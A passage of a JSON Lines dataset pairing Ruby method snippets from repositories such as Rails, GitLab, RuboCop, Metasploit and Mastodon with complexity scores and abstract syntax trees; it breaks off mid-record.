{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cli/command/suggest_extensions.rb","start_line":60,"raw_source":"def print_opt_out_instruction\n          puts\n          puts 'You can opt out of this message by adding the following to your config ' \\\n               '(see https://docs.rubocop.org/rubocop/extensions.html#extension-suggestions ' \\\n               'for more options):'\n          puts '  AllCops:'\n          puts '    SuggestExtensions: false'\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_opt_out_instruction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\"]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"You can opt out of this message by adding the following to your config \"]},{\"type\":\"str\",\"children\":[\"(see https://docs.rubocop.org/rubocop/extensions.html#extension-suggestions \"]},{\"type\":\"str\",\"children\":[\"for more options):\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"  AllCops:\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"    SuggestExtensions: false\"]}]}]}]}","id":"993f66e3-c3eb-4c32-892d-67003b9c1c49"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/nextcloud/queries/files_query.rb","start_line":160,"raw_source":"def size(element)\n              element\n                .xpath(\".//oc:size\")\n                .map(&:inner_text)\n                .map { |e| Integer(e) }\n                .first\n            end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"xpath\",{\"type\":\"str\",\"children\":[\".//oc:size\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inner_text\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"Integer\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},\"first\"]}]}","id":"c3a9a8ad-4113-4989-a243-721486f56095"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set/builder.rb","start_line":106,"raw_source":"def key?(key)\n      delegate_hash.key?(key) || values.key?(key) || types.key?(key)\n    end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"key?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delegate_hash\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"types\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}","id":"c05f1c5f-40ca-46b7-830d-f3a495928e1b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/page.rb","start_line":204,"raw_source":"def marshal_load(ary)\n      @url, @headers, @data, @body, @links, @code, @visited, @depth, @referer, @redirect_to, @response_time, @fetched = ary\n    end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"marshal_load\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ary\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@url\"]},{\"type\":\"ivasgn\",\"children\":[\"@headers\"]},{\"type\":\"ivasgn\",\"children\":[\"@data\"]},{\"type\":\"ivasgn\",\"children\":[\"@body\"]},{\"type\":\"ivasgn\",\"children\":[\"@links\"]},{\"type\":\"ivasgn\",\"children\":[\"@code\"]},{\"type\":\"ivasgn\",\"children\":[\"@visited\"]},{\"type\":\"ivasgn\",\"children\":[\"@depth\"]},{\"type\":\"ivasgn\",\"children\":[\"@referer\"]},{\"type\":\"ivasgn\",\"children\":[\"@redirect_to\"]},{\"type\":\"ivasgn\",\"children\":[\"@response_time\"]},{\"type\":\"ivasgn\",\"children\":[\"@fetched\"]}]},{\"type\":\"lvar\",\"children\":[\"ary\"]}]}]}","id":"248c9746-a8b3-40ee-883a-528dd4c982f4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/polymorphic_routes.rb","start_line":293,"raw_source":"def handle_list(list)\n            record_list = list.dup\n            record      = record_list.pop\n\n            args = []\n\n            route = record_list.map do |parent|\n              case parent\n              when Symbol\n                parent.to_s\n              when String\n                raise(ArgumentError, \"Please use symbols for polymorphic route arguments.\")\n              when Class\n                args << parent\n                parent.model_name.singular_route_key\n              else\n                args << parent.to_model\n                parent.to_model.model_name.singular_route_key\n              end\n            end\n\n            route <<\n            case record\n            when Symbol\n              record.to_s\n            when String\n              raise(ArgumentError, \"Please use symbols for polymorphic route arguments.\")\n            when Class\n              @key_strategy.call record.model_name\n            else\n              model = record.to_model\n              if model.persisted?\n                args << model\n                model.model_name.singular_route_key\n              else\n                @key_strategy.call model.model_name\n              end\n            end\n\n            route << suffix\n\n            named_route = prefix + route.join(\"_\")\n            [named_route, args]\n          end","complexity_score":59.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record_list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"dup\"]}]},{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_list\"]},\"pop\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"route\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"to_s\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Please use symbols for polymorphic route arguments.\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"model_name\"]},\"singular_route_key\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"to_model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"to_model\"]},\"model_name\"]},\"singular_route_key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"<<\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"to_s\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Please use symbols for polymorphic route arguments.\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key_strategy\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"model_name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"to_model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"persisted?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"model_name\"]},\"singular_route_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key_strategy\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"model_name\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"suffix\"]}]},{\"type\":\"lvasgn\",\"children\":[\"named_route\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prefix\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"route\"]},\"join\",{\"type\":\"str\",\"children\":[\"_\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"named_route\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"e07731c6-c212-42c5-9c82-27e130e5cad3"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/sftp/client.rb","start_line":129,"raw_source":"def generate_file_path(sync_config)\n        connection_specification = sync_config.destination.connection_specification.with_indifferent_access\n        timestamp = Time.now.strftime(\"%Y%m%d-%H%M%S\")\n        format = connection_specification[:format]\n        extension = if format[:compression_type] == \"un_compressed\"\n                      format[:format_type]\n                    else\n                      format[:compression_type]\n                    end\n        file_name = \"#{connection_specification[:file_name]}_#{timestamp}.#{extension}\"\n        File.join(connection_specification[:destination_path], file_name)\n      end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_file_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sync_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_specification\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_config\"]},\"destination\"]},\"connection_specification\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timestamp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y%m%d-%H%M%S\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_specification\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"extension\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"compression_type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"un_compressed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"format_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"compression_type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_specification\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_specification\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"destination_path\"]}]},{\"type\":\"lvar\",\"children\":[\"file_name\"]}]}]}]}","id":"a58ee294-5770-4fb9-a64e-b28a180ad605"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing_test.rb","start_line":3727,"raw_source":"def test_resource_where_as_is_empty\n    draw do\n      resource :post, as: \"\"\n\n      scope \"post\", as: \"post\" do\n        resource :comment, as: \"\"\n      end\n    end\n\n    assert_equal \"/post/new\", new_path\n    assert_equal \"/post/comment/new\", new_post_path\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resource_where_as_is_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"post\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/post/new\"]},{\"type\":\"send\",\"children\":[null,\"new_path\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/post/comment/new\"]},{\"type\":\"send\",\"children\":[null,\"new_post_path\"]}]}]}]}","id":"eb9e6ab6-0bca-4cef-b6ae-ea9e3703dbe6"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/for_tag_test.rb","start_line":419,"raw_source":"def test_iterate_with_each_when_no_limit_applied\n    loader   = LoaderDrop.new([1, 2, 3, 4, 5])\n    assigns  = { 'items' => loader }\n    expected = '12345'\n    template = '{% for item in items %}{{item}}{% endfor %}'\n    assert_template_result(expected, template, assigns)\n    assert(loader.each_called)\n    assert(!loader.load_slice_called)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_iterate_with_each_when_no_limit_applied\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoaderDrop\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"items\"]},{\"type\":\"lvar\",\"children\":[\"loader\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"12345\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"{% for item in items %}{{item}}{% endfor %}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"each_called\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"load_slice_called\"]},\"!\"]}]}]}]}","id":"1f7edf95-aae3-4c81-80aa-abae4915c785"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/git/branch_push_service.rb","start_line":52,"raw_source":"def enqueue_detect_repository_languages\n      return unless default_branch?\n\n      DetectRepositoryLanguagesWorker.perform_async(project.id)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_detect_repository_languages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_branch?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DetectRepositoryLanguagesWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}","id":"15862423-b136-4765-89d3-5c2f7eaada14"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/pagination/keyset/paginator.rb","start_line":59,"raw_source":"def keyset_relation\n          if paginate_backward?\n            reversed_order\n              .apply_cursor_conditions(keyset_scope, cursor_attributes, keyset_order_options)\n              .reorder(reversed_order)\n              .limit(per_page_plus_one)\n          else\n            order\n              .apply_cursor_conditions(keyset_scope, cursor_attributes, keyset_order_options)\n              .limit(per_page_plus_one)\n          end\n        end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"keyset_relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paginate_backward?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reversed_order\"]},\"apply_cursor_conditions\",{\"type\":\"send\",\"children\":[null,\"keyset_scope\"]},{\"type\":\"send\",\"children\":[null,\"cursor_attributes\"]},{\"type\":\"send\",\"children\":[null,\"keyset_order_options\"]}]},\"reorder\",{\"type\":\"send\",\"children\":[null,\"reversed_order\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"per_page_plus_one\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"order\"]},\"apply_cursor_conditions\",{\"type\":\"send\",\"children\":[null,\"keyset_scope\"]},{\"type\":\"send\",\"children\":[null,\"cursor_attributes\"]},{\"type\":\"send\",\"children\":[null,\"keyset_order_options\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"per_page_plus_one\"]}]}]}]}","id":"221a2542-62aa-45ce-afe3-0c724eb164a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/mcp/tools/custom_service.rb","start_line":31,"raw_source":"def version_exists?(version)\n          return false unless @versions\n\n          @versions.key?(version)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"version_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@versions\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@versions\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"cb3e8341-27d3-40db-b086-4246d3d1fed0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/request.rb","start_line":258,"raw_source":"def open(host, *args)\n        outer_e = nil\n        port    = args.first\n\n        addresses = []\n        begin\n          addresses = [IPAddr.new(host)]\n        rescue IPAddr::InvalidAddressError\n          Resolv::DNS.open do |dns|\n            dns.timeouts = 5\n            addresses = dns.getaddresses(host)\n            addresses = addresses.filter { |addr| addr.is_a?(Resolv::IPv6) }.take(2) + addresses.filter { |addr| !addr.is_a?(Resolv::IPv6) }.take(2)\n          end\n        end\n\n        socks = []\n        addr_by_socket = {}\n\n        addresses.each do |address|\n          check_private_address(address, host)\n\n          sock     = ::Socket.new(address.is_a?(Resolv::IPv6) ? ::Socket::AF_INET6 : ::Socket::AF_INET, ::Socket::SOCK_STREAM, 0)\n          sockaddr = ::Socket.pack_sockaddr_in(port, address.to_s)\n\n          sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1)\n\n          sock.connect_nonblock(sockaddr)\n\n          # If that hasn't raised an exception, we somehow managed to connect\n          # immediately, close pending sockets and return immediately\n          socks.each(&:close)\n          return sock\n        rescue IO::WaitWritable\n          socks << sock\n          addr_by_socket[sock] = sockaddr\n        rescue => e\n          outer_e = e\n        end\n\n        until socks.empty?\n          _, available_socks, = IO.select(nil, socks, nil, Request::TIMEOUT[:connect_timeout])\n\n          if available_socks.nil?\n            socks.each(&:close)\n            raise HTTP::TimeoutError, \"Connect timed out after #{Request::TIMEOUT[:connect_timeout]} seconds\"\n          end\n\n          available_socks.each do |sock|\n            socks.delete(sock)\n\n            begin\n              sock.connect_nonblock(addr_by_socket[sock])\n            rescue Errno::EISCONN\n              # Do nothing\n            rescue => e\n              sock.close\n              outer_e = e\n              next\n            end\n\n            socks.each(&:close)\n            return sock\n          end\n        end\n\n        if outer_e\n          raise outer_e\n        else\n          raise SocketError, \"No address for #{host}\"\n        end\n      end","complexity_score":94.95,"ast_json":"{\"type\":\"def\",\"children\":[\"open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"outer_e\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"addresses\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"addresses\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"InvalidAddressError\"]}]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"DNS\"]},\"open\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dns\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns\"]},\"timeouts=\",{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"lvasgn\",\"children\":[\"addresses\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dns\"]},\"getaddresses\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"addresses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"IPv6\"]}]}]},\"take\",{\"type\":\"int\",\"children\":[2]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"filter\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"IPv6\"]}]},\"!\"]}]},\"take\",{\"type\":\"int\",\"children\":[2]}]}]}]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"socks\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"addr_by_socket\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addresses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"address\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_private_address\",{\"type\":\"lvar\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"host\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"new\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Resolv\"]},\"IPv6\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"AF_INET6\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"AF_INET\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"SOCK_STREAM\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sockaddr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"pack_sockaddr_in\",{\"type\":\"lvar\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"setsockopt\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"IPPROTO_TCP\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Socket\"]},\"TCP_NODELAY\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"connect_nonblock\",{\"type\":\"lvar\",\"children\":[\"sockaddr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"close\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"WaitWritable\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socks\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"sock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"l